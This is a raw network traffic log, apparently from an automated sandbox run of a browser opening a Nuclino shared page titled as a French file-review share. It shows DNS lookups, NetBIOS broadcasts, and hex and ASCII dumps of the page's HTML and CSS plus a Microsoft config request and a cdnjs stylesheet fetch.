Oct 18, 2024 11:18:58.843806028 CEST	58713	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:58.844010115 CEST	65366	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:58.848707914 CEST	53	60270	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:58.850460052 CEST	53	58713	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:58.850882053 CEST	53	65366	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:59.964997053 CEST	53866	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:59.965178967 CEST	51621	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:59.985317945 CEST	53	51621	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:59.995552063 CEST	53	53866	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:00.221369028 CEST	54334	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:00.221699953 CEST	64050	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:00.245943069 CEST	53	64050	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:00.250524044 CEST	53	54334	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:01.082216024 CEST	63037	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:01.082344055 CEST	49965	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:01.088977098 CEST	53	49965	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:01.088989973 CEST	53	63037	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:01.149403095 CEST	49413	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:01.149565935 CEST	57392	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:01.167587042 CEST	53	57392	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:01.167910099 CEST	53	49413	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:02.662741899 CEST	53774	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:02.663232088 CEST	56828	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:19:02.674326897 CEST	53	53774	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:02.674778938 CEST	53	56828	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:14.517152071 CEST	53	62332	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:33.507859945 CEST	53	58538	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:56.213808060 CEST	53	53745	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:56.502428055 CEST	53	65380	1.1.1.1	192.168.2.16
Oct 18, 2024 11:19:56.566266060 CEST	138	138	192.168.2.16	192.168.2.255
Oct 18, 2024 11:20:20.403461933 CEST	52459	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:20.403561115 CEST	49434	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:20.414642096 CEST	53	52459	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:20.463984966 CEST	53	49434	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:24.161421061 CEST	53	65220	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:31.814357996 CEST	55655	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:31.814532042 CEST	58084	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:31.815104961 CEST	53664	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:31.815202951 CEST	61757	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:31.820427895 CEST	137	137	192.168.2.16	192.168.2.255
Oct 18, 2024 11:20:32.155234098 CEST	53	61757	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:32.155251980 CEST	53	53664	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:32.155262947 CEST	53	58084	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:32.155503988 CEST	53	55655	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:32.577436924 CEST	137	137	192.168.2.16	192.168.2.255
Oct 18, 2024 11:20:33.283804893 CEST	61128	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:33.284132004 CEST	52304	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:33.290958881 CEST	53	61128	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:33.291486025 CEST	53	52304	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:33.339843988 CEST	137	137	192.168.2.16	192.168.2.255
Oct 18, 2024 11:20:34.620265007 CEST	61578	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:34.620614052 CEST	63965	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:34.627746105 CEST	53	63965	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:34.627919912 CEST	53	61578	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:34.812966108 CEST	54578	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:34.813313007 CEST	53228	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:34.822562933 CEST	53	53228	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:34.829200029 CEST	53	54578	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:36.470551014 CEST	62662	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:36.470551968 CEST	58251	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:36.471709967 CEST	53205	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:36.471710920 CEST	53537	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:36.478401899 CEST	53	62662	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:36.480443954 CEST	53	58251	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:36.486424923 CEST	53	53205	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:36.488374949 CEST	53	53537	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:39.093231916 CEST	52328	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:39.093334913 CEST	62854	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:39.138641119 CEST	53	62854	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:39.168442965 CEST	53	52328	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:41.809633970 CEST	52812	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:41.809902906 CEST	54487	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:41.816685915 CEST	53	54487	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:41.817141056 CEST	53	52812	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:52.821806908 CEST	55448	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:52.821806908 CEST	51340	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:20:52.842952967 CEST	53	51340	1.1.1.1	192.168.2.16
Oct 18, 2024 11:20:52.843475103 CEST	53	55448	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 18, 2024 11:18:57.208766937 CEST	192.168.2.16	1.1.1.1	c25e	(Port unreachable)	Destination Unreachable
Oct 18, 2024 11:20:20.464199066 CEST	192.168.2.16	1.1.1.1	c24d	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:18:58 UTC	731	OUT	GET /p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b HTTP/1.1 Host: share.nuclino.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:18:58 UTC	1168	IN	HTTP/1.1 200 OK Server: Cowboy Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1729243138&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=HmVGPuu97H3iYMM7OGVtH7Riu847%2FDaWK8%2Fk19qdzvk%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1729243138&sid=c4c9725f-1ab0-44d8-820f-430df2718e11&s=HmVGPuu97H3iYMM7OGVtH7Riu847%2FDaWK8%2Fk19qdzvk%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Connection: close Cross-Origin-Opener-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Content-Type: text/html; charset=utf-8 Content-Security-Policy: script-src 'nonce-INSI3Rg7IYmfoSTofbnPRw==' 'strict-dynamic' https:; object-src 'none'; base-uri 'none'; Content-Length: 74424 Etag: W/"122b8-Ake9SqUxuP3KsLkw/2cADvc+DYw" Date: Fri, 18 Oct 2024 09:18:58 GMT Via: 1.1 vegur
2024-10-18 09:18:58 UTC	2269	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 4d c3 a9 6c 61 6e 69 65 20 42 41 55 44 52 59 20 50 41 52 54 41 47 45 52 20 55 4e 20 46 49 43 48 49 45 52 20 50 4f 55 52 20 52 c3 89 56 49 53 49 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e Data Ascii: <!doctype html><head> <title>Mlanie BAUDRY PARTAGER UN FICHIER POUR RVISION</title> <meta charset="utf-8"> <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico"> <meta name="viewport" content="width=device-width, initial-scale=1">
2024-10-18 09:18:58 UTC	3558	IN	Data Raw: 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 70 61 67 65 2d 68 65 61 64 65 72 20 2e 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 31 31 31 32 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 70 61 67 65 2d 68 65 61 64 65 72 20 2e 63 74 61 7b 68 65 69 67 68 74 3a 33 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 70 61 67 65 2d 68 65 61 64 65 72 20 6c 69 7b 70 6f 73 69 74 69 6f 6e 3a Data Ascii: flex-wrap:nowrap;user-select:none}.page-header .inner{display:flex;flex-direction:row;margin-right:auto;margin-left:auto;padding-left:32px;padding-right:32px;max-width:1112px;width:100%}.page-header .cta{height:38px;margin-left:0}.page-header li{position:
2024-10-18 09:18:58 UTC	4744	IN	Data Raw: 3a 30 20 32 34 70 78 20 36 34 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 7d 2e 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 68 31 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 3b 63 6f 6c 6f 72 3a 23 34 35 34 61 34 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 35 72 65 6d 3b 6d 61 78 2d 77 69 64 74 68 3a 37 30 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 49 6e 74 65 72 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 70 61 67 65 2d 63 6f 6e 74 61 69 6e Data Ascii: :0 24px 64px;box-sizing:content-box}.page-container h1{margin-bottom:8px;color:#454a4f;font-weight:500;font-size:2.25rem;max-width:700px;margin-left:auto;margin-right:auto;font-family:Inter,Helvetica,Arial,sans-serif}@media (min-width:768px){.page-contain
2024-10-18 09:18:58 UTC	3282	IN	Data Raw: 73 69 7a 65 2d 6d 65 64 69 75 6d 3a 32 35 25 3b 2d 2d 65 64 69 74 6f 72 2d 61 6c 69 67 6e 65 64 2d 69 6d 61 67 65 2d 73 69 7a 65 2d 6c 61 72 67 65 3a 33 37 2e 35 25 7d 7d 68 74 6d 6c 2e 6c 61 79 6f 75 74 2d 77 69 64 65 20 2e 50 72 6f 73 65 4d 69 72 72 6f 72 7b 2d 2d 65 64 69 74 6f 72 2d 73 69 7a 65 2d 62 61 73 65 3a 76 61 72 28 2d 2d 63 65 6e 74 65 72 65 64 2d 77 69 64 74 68 2c 20 38 36 34 70 78 29 7d 68 74 6d 6c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 50 72 6f 73 65 4d 69 72 72 6f 72 7b 2d 2d 65 64 69 74 6f 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 68 61 72 63 6f 61 6c 2d 34 30 30 29 3b 2d 2d 65 64 69 74 6f 72 2d 63 6f 64 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 67 72 61 79 2d 31 30 30 29 3b 2d 2d 65 64 Data Ascii: size-medium:25%;--editor-aligned-image-size-large:37.5%}}html.layout-wide .ProseMirror{--editor-size-base:var(--centered-width, 864px)}html.theme-dark .ProseMirror{--editor-text-color:var(--charcoal-400);--editor-code-background-color:var(--gray-100);--ed
2024-10-18 09:18:58 UTC	1448	IN	Data Raw: 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 38 35 2c 39 36 2c 32 35 30 2c 76 61 72 28 2d 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 2d 6f 70 61 63 69 74 79 29 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 2d 31 70 78 20 30 20 30 20 30 20 72 67 62 61 28 38 35 2c 39 36 2c 32 35 30 2c 76 61 72 28 2d 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 2d 6f 70 61 63 69 74 79 29 29 2c 31 70 78 20 30 20 30 20 30 20 72 67 62 61 28 38 35 2c 39 36 2c 32 35 30 2c 76 61 72 28 2d 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 6d 61 72 6b 20 63 6f 64 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d Data Ascii: round-color:rgba(85,96,250,var(--highlight-color-opacity));border-radius:3px;box-shadow:-1px 0 0 0 rgba(85,96,250,var(--highlight-color-opacity)),1px 0 0 0 rgba(85,96,250,var(--highlight-color-opacity))}.ProseMirror mark code{background-color:transparent}
2024-10-18 09:18:58 UTC	8302	IN	Data Raw: 69 76 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 6f 6c 20 6c 69 20 70 2c 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 75 6c 20 6c 69 20 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 6f 6c 20 6c 69 20 70 2b 2e 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 6f 6c 20 6c 69 20 70 2b 5b 64 61 74 61 2d 74 79 70 65 3d 66 69 67 75 72 65 5d 2c 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 75 6c 20 6c 69 20 70 2b 2e 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 75 6c 20 6c 69 20 70 2b 5b 64 61 74 61 2d 74 79 70 65 3d 66 69 67 75 72 65 5d 7b 6d 61 72 67 Data Ascii: ive;margin-bottom:0;list-style-type:none}.ProseMirror ol li p,.ProseMirror ul li p{margin-bottom:0}.ProseMirror ol li p+.image-wrapper,.ProseMirror ol li p+[data-type=figure],.ProseMirror ul li p+.image-wrapper,.ProseMirror ul li p+[data-type=figure]{marg
2024-10-18 09:18:58 UTC	9488	IN	Data Raw: 75 74 5d 5b 64 61 74 61 2d 6b 69 6e 64 3d 77 61 72 6e 69 6e 67 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 31 2c 31 37 36 2c 35 32 2c 76 61 72 28 2d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 5b 64 61 74 61 2d 74 79 70 65 3d 63 61 6c 6c 6f 75 74 5d 5b 64 61 74 61 2d 6b 69 6e 64 3d 77 61 72 6e 69 6e 67 5d 3e 69 7b 63 6f 6c 6f 72 3a 23 66 62 62 30 33 34 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 5b 64 61 74 61 2d 74 79 70 65 3d 63 61 6c 6c 6f 75 74 5d 5b 64 61 74 61 2d 6b 69 6e 64 3d 64 61 6e 67 65 72 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 33 38 2c 33 35 2c 33 36 2c 76 61 72 28 2d 2d 62 61 63 6b 67 72 6f 75 6e Data Ascii: ut][data-kind=warning]{background-color:rgba(251,176,52,var(--background-color-opacity))}.ProseMirror [data-type=callout][data-kind=warning]>i{color:#fbb034}.ProseMirror [data-type=callout][data-kind=danger]{background-color:rgba(238,35,36,var(--backgroun
2024-10-18 09:18:59 UTC	9722	IN	Data Raw: 2d 6c 65 66 74 20 66 69 67 75 72 65 20 2e 69 6d 61 67 65 2d 77 72 61 70 70 65 72 2c 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 5b 64 61 74 61 2d 74 79 70 65 3d 66 69 67 75 72 65 5d 2e 2d 72 69 67 68 74 20 66 69 67 75 72 65 20 2e 69 6d 61 67 65 2d 77 72 61 70 70 65 72 7b 7a 2d 69 6e 64 65 78 3a 35 31 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 5b 64 61 74 61 2d 74 79 70 65 3d 66 69 67 75 72 65 5d 20 2e 69 6d 61 67 65 2d 77 72 61 70 70 65 72 7b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 3e 3a 6e 6f 74 28 70 29 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 2e 76 69 64 65 6f 2d 77 72 61 70 70 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 50 72 6f 73 65 4d 69 72 72 6f 72 20 2e 76 69 64 65 6f Data Ascii: -left figure .image-wrapper,.ProseMirror [data-type=figure].-right figure .image-wrapper{z-index:51}.ProseMirror [data-type=figure] .image-wrapper{z-index:1}.ProseMirror>:not(p){clear:both}}.ProseMirror .video-wrapper{position:relative}.ProseMirror .video
2024-10-18 09:18:59 UTC	10136	IN	Data Raw: 76 57 50 74 68 51 73 78 36 6a 2b 6b 48 2f 6c 34 61 4e 35 74 57 79 43 38 64 74 33 4d 33 44 71 33 36 63 67 37 73 78 75 4b 79 75 4a 39 7a 74 75 68 75 59 4e 64 72 2b 2b 2b 64 36 72 55 6c 31 72 76 47 36 45 47 45 51 6c 53 6e 37 76 34 62 53 42 55 73 76 39 76 59 65 66 45 45 37 6e 72 34 6a 78 5a 31 79 79 56 39 75 31 6a 4b 6a 4c 36 39 42 72 4a 2f 4c 47 6d 6e 68 31 63 6c 38 76 4a 64 51 56 4f 43 63 67 54 71 45 5a 2f 63 62 6c 57 76 46 42 59 37 73 71 58 49 48 56 52 78 66 37 32 30 6d 4c 58 4f 41 55 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 44 67 79 52 54 72 74 6f 37 53 54 4f 73 42 7a 55 79 36 49 36 48 6f 33 69 71 5a 54 2b 61 56 2b 52 55 65 36 70 39 75 72 4b 62 65 4a 47 48 4f 76 69 2b 39 53 63 36 6e 77 4a 6f 4d 41 42 5a 33 35 70 73 54 66 4d 37 66 51 39 64 71 53 74 56 Data Ascii: vWPthQsx6j+kH/l4aN5tWyC8dt3M3Dq36cg7sxuKyuJ9ztuhuYNdr+++d6rUl1rvG6EGEQlSn7v4bSBUsv9vYefEE7nr4jxZ1yyV9u1jKjL69BrJ/LGmnh1cl8vJdQVOCcgTqEZ/cblWvFBY7sqXIHVRxf720mLXOAUAAAAAAAAAAAAAAADgyRTrto7STOsBzUy6I6Ho3iqZT+aV+RUe6p9urKbeJGHOvi+9Sc6nwJoMABZ35psTfM7fQ9dqStV
2024-10-18 09:18:59 UTC	13046	IN	Data Raw: 45 38 66 4b 55 79 32 6f 78 6a 34 62 45 31 54 48 73 36 4d 6d 42 74 55 34 72 74 53 4b 64 36 31 53 73 34 4e 71 71 31 51 41 67 35 78 6b 31 6c 67 66 36 44 31 68 75 7a 44 48 46 43 65 76 48 4c 57 75 59 4a 2b 2f 2b 47 55 6f 36 6f 33 30 68 39 39 32 39 30 59 70 38 59 44 77 6b 43 77 37 50 41 2f 48 4e 39 66 65 6d 45 51 63 32 4e 4b 55 2b 34 49 4f 34 65 4b 32 61 2f 6e 64 4d 71 53 57 49 66 76 45 6d 44 58 35 36 62 70 49 75 77 41 65 52 4e 55 79 70 6c 5a 30 55 38 57 52 2b 65 32 31 53 2b 58 35 6b 42 4f 4a 76 57 52 72 58 38 48 6e 64 77 54 56 6e 51 56 58 4d 44 31 63 41 47 2b 6a 61 6e 7a 76 45 30 76 48 6d 42 70 30 6e 67 37 4e 64 38 62 55 38 56 4f 52 38 2f 67 56 36 53 6f 75 30 74 50 39 34 6a 78 52 74 62 58 42 47 56 51 66 50 37 35 78 6c 6e 79 4e 50 72 77 46 30 65 37 74 6f 4c 70 Data Ascii: E8fKUy2oxj4bE1THs6MmBtU4rtSKd61Ss4Nqq1QAg5xk1lgf6D1huzDHFCevHLWuYJ+/+GUo6o30h99290Yp8YDwkCw7PA/HN9femEQc2NKU+4IO4eK2a/ndMqSWIfvEmDX56bpIuwAeRNUyplZ0U8WR+e21S+X5kBOJvWRrX8HndwTVnQVXMD1cAG+janzvE0vHmBp0ng7Nd8bU8VOR8/gV6Sou0tP94jxRtbXBGVQfP75xlnyNPrwF0e7toLp

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:18:59 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 09:18:59 UTC	494	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=26760 Date: Fri, 18 Oct 2024 09:18:59 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:18:59 UTC	613	OUT	GET /ajax/libs/material-design-iconic-font/2.1.2/css/material-design-iconic-font.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.nuclino.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:18:59 UTC	955	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:18:59 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ed9-10ad7" Last-Modified: Mon, 04 May 2020 16:12:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 102989 Expires: Wed, 08 Oct 2025 09:18:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JNCyFqL6Tz350Mo5yNsMMxEYeTsdZXwoh%2By4%2B9xtpNLD7EeL%2FiybTAXPNgRVJU2R%2FHxIreEmU%2F6P%2F1%2FCwitjsA7l39X00om3dtU%2FlVVJIHimRMqxcxPJJ2YLBh8mI4NGCLPiSbbP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d4771b62ba16b27-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:18:59 UTC	414	IN	Data Raw: 33 39 38 34 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 61 74 65 72 69 61 6c 2d 44 65 73 69 67 6e 2d 49 63 6f 6e 69 63 2d 46 6f 6e 74 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 4d 61 74 65 72 69 61 6c 2d 44 65 73 69 67 6e 2d 49 63 6f 6e 69 63 2d 46 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 32 2e 31 2e 30 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 4d 61 74 65 72 69 61 6c 2d 44 65 73 69 67 6e 2d 49 63 6f 6e 69 63 2d 46 6f 6e 74 2e 77 6f 66 66 3f 76 3d 32 2e 31 2e 30 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 4d 61 74 65 72 69 61 6c 2d 44 65 73 69 67 6e 2d 49 63 6f 6e 69 63 2d 46 6f 6e 74 2e 74 74 66 3f 76 3d 32 2e 31 2e 30 Data Ascii: 3984@font-face{font-family:Material-Design-Iconic-Font;src:url(../fonts/Material-Design-Iconic-Font.woff2?v=2.1.0) format('woff2'),url(../fonts/Material-Design-Iconic-Font.woff?v=2.1.0) format('woff'),url(../fonts/Material-Design-Iconic-Font.ttf?v=2.1.0
